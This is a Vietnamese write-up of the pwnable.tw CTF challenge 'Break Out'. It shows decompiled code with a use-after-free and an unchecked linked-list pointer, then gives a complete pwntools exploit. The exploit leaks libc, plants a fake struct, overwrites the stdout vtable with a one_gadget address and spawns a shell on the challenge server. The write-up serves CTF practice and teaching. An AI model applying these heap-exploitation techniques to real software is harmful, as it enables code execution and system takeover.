pwnable.tw

Break Out

Vuln: Không xoá reference sau khi free, gây UAF và chunk overlap; Không kiểm tra con trỏ next trỏ đến object hợp lệ trong linked list.

March 7, 2026 Easy

Recon

Mitigation

$ file breakout
breakout: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=e8b83b9d156f79a5dc59774a8d3941236c0b2e1b, not stripped
$ pwn checksec breakout
[*] '/home/hungnt/pwnable.tw/break-out/breakout'
    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled

Solve

Mình ko nghĩ bài này đáng 450 điểm vì nó quá dễ, chỉ đáng 150-200 điểm thôi.

Hàm main():

int __fastcall main(int argc, const char **argv, const char **envp)
{
  init();
  while ( 1 )
    interact();
}

Về cơ bản trong init() sẽ đọc file prisoner, load từng dòng và tạo cấp phát object tương ứng, kích thước 0x40 bytes.

Mình nhìn thấy ngay bug ở punish():

unsigned __int64 punish(void)
{
  int cell; // eax
  Prisoner *prisoner; // rdi
  char buf[8]; // [rsp+0h] [rbp-18h] BYREF
  unsigned __int64 v4; // [rsp+8h] [rbp-10h]

  v4 = __readfsqword(0x28u);
  if ( occupied )
  {
    write(1, "bunker is occupied\n", 0x13uLL);
  }
  else
  {
    write(1, "Cell: ", 6uLL);
    read(0, buf, 7uLL);
    cell = strtol(buf, 0LL, 10);
    prisoner = head;
    if ( head )
    {
      if ( head->cell_number == cell )
      {
free:
        free(prisoner);                         // just free, nothing else
        occupied = 1;
      }
      else
      {
        while ( 1 )
        {
          prisoner = prisoner->next;
          if ( !prisoner )
            break;
          if ( prisoner->cell_number == cell )
            goto free;
        }
      }
    }
  }
  return __readfsqword(0x28u) ^ v4;
}

Chỉ free và để đó, ko xoá reference khỏi linked list. Nên free xong có thể leak đc libc qua list().

Với hàm note() mình có thể cấp phát size tuỳ ý:

unsigned __int64 note(void)
{
  int cell; // eax
  Prisoner *prisoner; // rbx
  unsigned int new_note_size; // ebp
  unsigned int note_size; // eax
  char *new_note; // rax MAPDST
  char buf[8]; // [rsp+0h] [rbp+0h] BYREF
  unsigned __int64 vars8; // [rsp+8h] [rbp+8h]

  vars8 = __readfsqword(0x28u);
  *(_QWORD *)buf = 0LL;
  write(1, "Cell: ", 6uLL);
  read(0, buf, 7uLL);
  cell = strtol(buf, 0LL, 10);
  prisoner = head;
  if ( !head )
    goto abort;
  if ( head->cell_number != cell )
  {
    do
    {
      prisoner = prisoner->next;
      if ( !prisoner )
        goto abort;
    }
    while ( prisoner->cell_number != cell );
  }
  write(1, "Size: ", 6uLL);
  bzero(buf, 8uLL);
  read(0, buf, 7uLL);
  new_note_size = strtol(buf, 0LL, 10);
  note_size = prisoner->note_size;
  if ( note_size < new_note_size && note_size )
  {
    new_note = (char *)realloc(prisoner->note, new_note_size);
    prisoner->note = new_note;
    if ( new_note )
      goto asign_note_size;
    goto abort;
  }
  if ( !note_size )
  {
    new_note = (char *)malloc(new_note_size);
    prisoner->note = new_note;
    if ( new_note )
    {
asign_note_size:
      prisoner->note_size = new_note_size;
      goto read;
    }
abort:
    abort();
  }
read:
  write(1, "Note: ", 6uLL);
  secure_read(prisoner->note, new_note_size);
  return __readfsqword(0x28u) ^ vars8;
}

Và sau đó secure_read() vào note, về cơ bản là hàm này mình chỉ được ghi vào heap thôi, ko đc ghi vào libc hay binary. Nhưng bây giờ mục tiêu của mình là phải ghi vào libc để control RIP.

Thế thì mình ko lợi dụng hàm secure_read() đc, nhưng để ý là ko phải chỉ có mỗi ghi bằng secure_read(), mà còn ghi vào con trỏ note, và ghi vào note_size. Mà ở đây, khi duyệt linked list, chương trình ko kiểm tra xem liệu next có thực sự trỏ đến một prisoner hay ko.

Vậy, chỉ cần cấp phát note mới vào chunk prisoner bị free trước đó, ghi con trỏ next trỏ vào libc sao cho vtable của stdout đc gán đến new_note của mình, rồi ghi one_gadget nào note là xong.

Script

#!/usr/bin/env python3
from pwn import *
import shutil
sla = lambda p, d, x: p.sendlineafter(d, x)
sa = lambda p, d, x: p.sendafter(d, x)
sl = lambda p, x: p.sendline(x)
s = lambda p, x: p.send(x)
slan = lambda p, d, n: p.sendlineafter(d, str(n).encode())
ru = lambda p, x: p.recvuntil(x)
rl = lambda p: p.recvline()
rn = lambda p, n: p.recvn(n)
rr = lambda p, t: p.recvrepeat(timeout=t)
ra = lambda p, t: p.recvall(timeout=t)
ia = lambda p: p.interactive()
lg = lambda t, addr: print(t, '->', hex(addr))
binsh = lambda libc: next(libc.search(b"/bin/sh\0"))
leak_bytes = lambda r, offset=0: u64(r.ljust(8, b"\0")) - offset
leak_hex = lambda r, offset=0: int(r, 16) - offset
leak_dec = lambda r, offset=0: int(r, 10) - offset
pad = lambda l, c: c * l
z = lambda l: l * b'\0'
A = lambda l: l * b'A'

e = context.binary = ELF('./breakout_patched', checksec=False)
libc = ELF('./libc_64.so.6', checksec=False)
ld = ELF('ld-linux-x86-64.so.2', checksec=False)

TERMINAL = 0
USE_PTY = False
GDB_ATTACH_DELAY = 1
ALLOW_MEM = 0

_wsl_distro = os.environ.get("WSL_DISTRO_NAME", "Ubuntu")
terms = {
    1: ["/usr/bin/tilix", "-a", "session-add-right", "-e", "bash", "-c"],
    2: ["tmux", "split-window", "-h"],
    3: ["/mnt/c/Windows/system32/cmd.exe", "/c", "start", "wt.exe",
        "-w", "0", "split-pane", "-V", "-s", "0.5",
        "wsl.exe", "-d", _wsl_distro, "bash", "-c"],
}

if TERMINAL == 0:
    if shutil.which("tilix"):
        context.terminal = terms[1]
    elif os.path.exists("/proc/version") and "microsoft" in open("/proc/version").read().lower():
        context.terminal = terms[3]
    elif shutil.which("tmux"):
        context.terminal = terms[2]
    else:
        raise ValueError("Auto-detect failed: none of tilix, wsl2, tmux found")
elif TERMINAL in terms:
    context.terminal = terms[TERMINAL]
else:
    raise ValueError(f"Unknown terminal: {TERMINAL}")

gdbscript = '''
cd ''' + os.getcwd() + '''
set solib-search-path ''' + os.getcwd() + '''
set sysroot /
set follow-fork-mode parent
set detach-on-fork on
brva 0x1875
b *vfprintf+206
continue
'''

def attach(p):
    if args.GDB:
        gdb.attach(p, gdbscript=gdbscript)
        sleep(GDB_ATTACH_DELAY)

def _mem_limit():
    if ALLOW_MEM > 0:
        import resource
        limit = int(ALLOW_MEM * 1024 ** 3)
        resource.setrlimit(resource.RLIMIT_AS, (limit, limit))

def conn():
    if args.LOCAL:
        if USE_PTY:
            p = process([e.path], stdin=PTY, stdout=PTY, stderr=PTY, preexec_fn=_mem_limit)
        else:
            p = process([e.path], preexec_fn=_mem_limit)
        sleep(0.25)
        return p
    else:
        host = "chall.pwnable.tw"
        port = 10400
        return remote(host, port)


def list_():
    sla(p, b"> ", b"list")

def note(cell, size, data):
    sla(p, b"> ", b"note")
    slan(p, b"Cell: ", cell)
    slan(p, b"Size: ", size)
    sa(p, b"Note: ", data)

def punish(cell):
    sla(p, b"> ", b"punish")
    slan(p, b"Cell: ", cell)

attempt = 0
while True:
    attempt += 1
    print("\n----------> Attempt", attempt)
    
    p = conn()

    # Free to fastbins
    punish(9)
    # Malloc large size to trigger malloc_consolidate()
    # to put chunk to unsortedbin
    note(9, 0x410, b'A')

    print("Leaking libc")
    list_()
    ru(p, b'Prisoner: ')
    libc.address = leak_bytes(rn(p, 6), 0x3c3ba8)
    lg("libc base", libc.address)

    fake_prisoner = flat(
        0, # risk
        0, # name
        0, # nickname
        p32(0), # age
        p32(9), # cell number
        0, # sentence
        0, # note_size + pad
        0, # note
        libc.symbols['_IO_2_1_stdout_'] + 0xd8 - 0x30 # next
    )
    note(8, 0x40, fake_prisoner)

    attach(p)

    '''
    0xf0567 execve("/bin/sh", rsp+0x70, environ)
    constraints:
    [rsp+0x70] == NULL
    '''
    print("Overwrite stdout vtable")
    note(0, 0xa8, z(0x38) + p64(libc.address + 0xf0567))

    print("Spawn shell")
    list_()

    ia(p)
    p.close()
    break